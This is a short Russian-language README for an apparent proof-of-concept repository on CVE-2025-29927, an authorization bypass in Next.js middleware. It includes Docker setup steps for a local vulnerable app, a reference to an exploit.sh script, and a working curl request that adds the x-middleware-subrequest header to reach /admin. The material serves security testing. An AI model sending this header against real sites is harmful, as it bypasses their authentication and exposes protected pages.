
Исследование уязвимости в middleware Next.js (CVE-2025-29927), позволяющей обход авторизации и потенциальные эксплойты.
Этот репозиторий демонстрирует критическую уязвимость в промежуточном ПО Next.js (CVE-2025-29927), которая затрагивает версии с 11.1.4 по 15.1.7. Эта уязвимость позволяет обход авторизации, обход CSP и потенциальные DoS-атаки через отравление кэша. Проблема возникает из-за обработки заголовка x-middleware-subrequest, что позволяет злоумышленникам обходить механизмы защиты промежуточного ПО.
Эта proof of concept специфична для уязвимости в v12
Настройте уязвимую среду с помощью Docker и файлов из этого репозитория, выполнив:
git clone https://github.com/l1uk/nextjs-middleware-exploit.git
cd nextjs-middleware-exploit
docker build -t my-next-app .
docker run -p 3000:3000 my-next-app
В этом репозитории есть уже созданный скрипт exploit.sh для тестирования эксплуатации уязвимости. Чтобы протестировать, выполните:
chmod +x exploit.sh
./exploit.sh
Кроме того, вы можете протестировать эксплуатацию уязвимости, попробовав следующее
login.curl -i http://localhost:3000/admin
x-middleware-subrequest. Вы должны обойти страницу аутентификации.curl -i -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/admin